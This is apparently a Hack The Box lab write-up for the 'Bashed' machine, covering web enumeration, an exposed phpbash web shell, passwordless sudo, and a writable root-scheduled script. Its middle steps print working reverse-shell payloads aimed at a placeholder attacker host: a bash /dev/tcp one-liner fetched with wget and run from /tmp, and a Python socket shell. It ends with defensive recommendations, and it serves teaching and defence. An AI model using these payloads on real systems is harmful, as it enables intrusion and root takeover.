Bashed — Exposed Web Shell and Root-Scheduled Script Abuse
- Tools
- rustscan, nmap, feroxbuster, wget, netcat, python3, sudo
- Skill demonstrated
- Linux web foothold and privilege escalation via delegated sudo and writable scheduled scripts
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Easy |
| Target environment | Ubuntu Linux; Apache httpd 2.4.18 |
| Starting position | Unauthenticated network access |
| Objective | Unauthenticated web foothold to root via an exposed web shell, permissive sudo, and a root-run scheduled script |
| Outcome | Command execution as www-data; root context via a writable, root-executed script |
Summary
Section titled “Summary”Bashed is an Easy Hack The Box Linux lab in which web enumeration exposes phpbash, an interactive PHP shell left in the document root, giving command execution as www-data. Privilege escalation follows two documented steps: a permit-any passwordless sudo rule to the scriptmanager account, and a Python script in /scripts that scriptmanager can overwrite but root runs on a schedule. Target and attacker addresses and callback ports are replaced with role-based placeholders; command syntax is preserved.
Attack path: Apache enumeration → exposed phpbash web shell → www-data command execution → hosted-script reverse shell → passwordless sudo to scriptmanager → writable root-scheduled script → root
Context and Objective
Section titled “Context and Objective”- Target: an Ubuntu Linux host exposing a single web service — Apache httpd 2.4.18.
- Starting position: unauthenticated network access.
- Objective: turn an exposed web development artifact into a stable shell, then follow local authorization and scheduled-execution clues to root.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: a full-port scan exposes a single HTTP service.
rustscan -a <TARGET_HOST> --ulimit 5000 -- -Pn -sC -sV -oN <OUT_FILE>Truncated scan output:
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_http-title: <LAB_USER>'s Development Site|_http-server-header: Apache/2.4.18 (Ubuntu)Significance: HTTP is the only reachable service, and the site title advertises a development site, so the web application is the entire external attack surface. The banner identifies the platform build.
Result: Apache on port 80 is the only exposed service.
2. Web Content Discovery
Section titled “2. Web Content Discovery”Observation: directory enumeration reveals a development directory holding PHP shell files.
feroxbuster --url http://<TARGET_HOST> --wordlist <WEB_CONTENT_WORDLIST>Truncated discovery output:
/uploads/devThe /dev path contains:
phpbash.min.phpphpbash.phpSignificance: a browsable directory containing an interactive PHP shell converts a content-discovery finding into a ready-made web command channel, and the shell file was reachable without authentication.
Result: an interactive shell file is reachable under the web root.
3. Web Shell Command Execution
Section titled “3. Web Shell Command Execution”Observation: browsing /dev/phpbash.php serves an interactive browser-based shell that runs commands as the web server account.
Representative interaction:
www-data@bashed:/var/www/html/dev# whoamiwww-dataSignificance: the shell executes arbitrary commands in the context of www-data, the Apache service account, giving unauthenticated code execution on the host.
Result: command execution as www-data is established.
4. Shell Stabilization
Section titled “4. Shell Stabilization”Observation: the browser shell is unsuitable for sustained interactive work, and direct reverse-shell one-liners launched from it are unreliable.
Action: host a small shell script on the attacker host, download it to a temporary path on the target, and execute it to receive a reverse shell.
On the attacker:
echo 'bash -i >& /dev/tcp/<ATTACKER_HOST>/<REVSHELL_PORT> 0>&1' > bashell.shpython3 -m http.server 80nc -nlvp <REVSHELL_PORT>On the target, through the web shell:
wget http://<ATTACKER_HOST>/bashell.sh -O /tmp/revshell.shbash /tmp/revshell.shThe shell returns:
www-data@bashed:/var/www/html/dev$Significance: moving from a browser-based shell to a network shell yields a stable, scriptable session, which the recorded approach preferred over a direct one-liner.
Result: an interactive network shell as www-data is obtained.
5. Sudo Enumeration and Identity Transition
Section titled “5. Sudo Enumeration and Identity Transition”Observation: local sudo enumeration shows the web-service account may run any command as the script-management account without a password.
sudo -lUser www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALLAction — switch to the permitted account:
sudo -u scriptmanager /bin/bashSignificance: an unrestricted delegation rule grants full command execution as scriptmanager, which can reach files the web-service account cannot. The transition’s own prompt is not recorded; the permission grant is shown, and the next stage runs in the script-management context.
Result: control moves to the scriptmanager account.
6. Writable Scheduled Script to Root
Section titled “6. Writable Scheduled Script to Root”Observation: /scripts holds a Python script owned by scriptmanager beside an output file owned by root that is rewritten repeatedly — evidence that root executes the script on a schedule.
ls -la /scripts-rw-r--r-- 1 scriptmanager scriptmanager 58 test.py-rw-r--r-- 1 root root 12 test.txtAction — replace the writable script with callback logic and catch the root execution:
# /scripts/test.py (replaced by scriptmanager)import osimport socketimport subprocess
HOST = "<ATTACKER_HOST>"PORT = <ROOT_CALLBACK_PORT>
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))
for fd in (0, 1, 2): os.dup2(s.fileno(), fd)
subprocess.call(["/bin/sh", "-i"])nc -nlvp <ROOT_CALLBACK_PORT>After the scheduled task runs:
# whoamirootSignificance: root executes a script that a lower-privileged account can overwrite, so whatever is written into test.py runs with root privileges — a direct privilege-boundary failure.
Result: the callback returns as root, confirmed by whoami.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| Direct reverse-shell one-liners from the browser web shell were unreliable | Hosted a small shell script and executed it from a temporary location | A staged scripted payload was the recorded, more reliable path |
Outcome
Section titled “Outcome”The evidence establishes a root context after overwriting a script that root executes on a schedule. One limit remains: the scheduler configuration itself is not captured, so root execution is inferred from the script/output ownership mismatch and the repeatedly rewritten root-owned output.
Lessons and Recommendations
Section titled “Lessons and Recommendations”Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. These actions are recommendations; none was validated in the lab.
- Development shell left in the web root.
phpbash.phpwas reachable without authentication and gave code execution aswww-data. Recommendation: remove administrative and diagnostic tooling from web-accessible directories and deploy only required application files. Detection: alert on shell-like files and on requests that execute them. - Overly permissive sudo delegation. A
NOPASSWD: ALLrule let the web-service account run arbitrary commands asscriptmanager. Recommendation: scopesudoersto specific binaries and arguments instead of unrestricted command execution as another account. Detection: reviewsudo -loutput and auditsudoersfor blanketNOPASSWD: ALLgrants. - Root-executed script writable by a lower-privileged account.
scriptmanagercould overwritetest.py, which root ran on a schedule, yielding root code execution. Recommendation: keep privileged scheduled scripts and their directories writable only by root, and run non-root schedulers without privilege. Detection: monitor scheduled-task scripts and directories for unexpected content changes.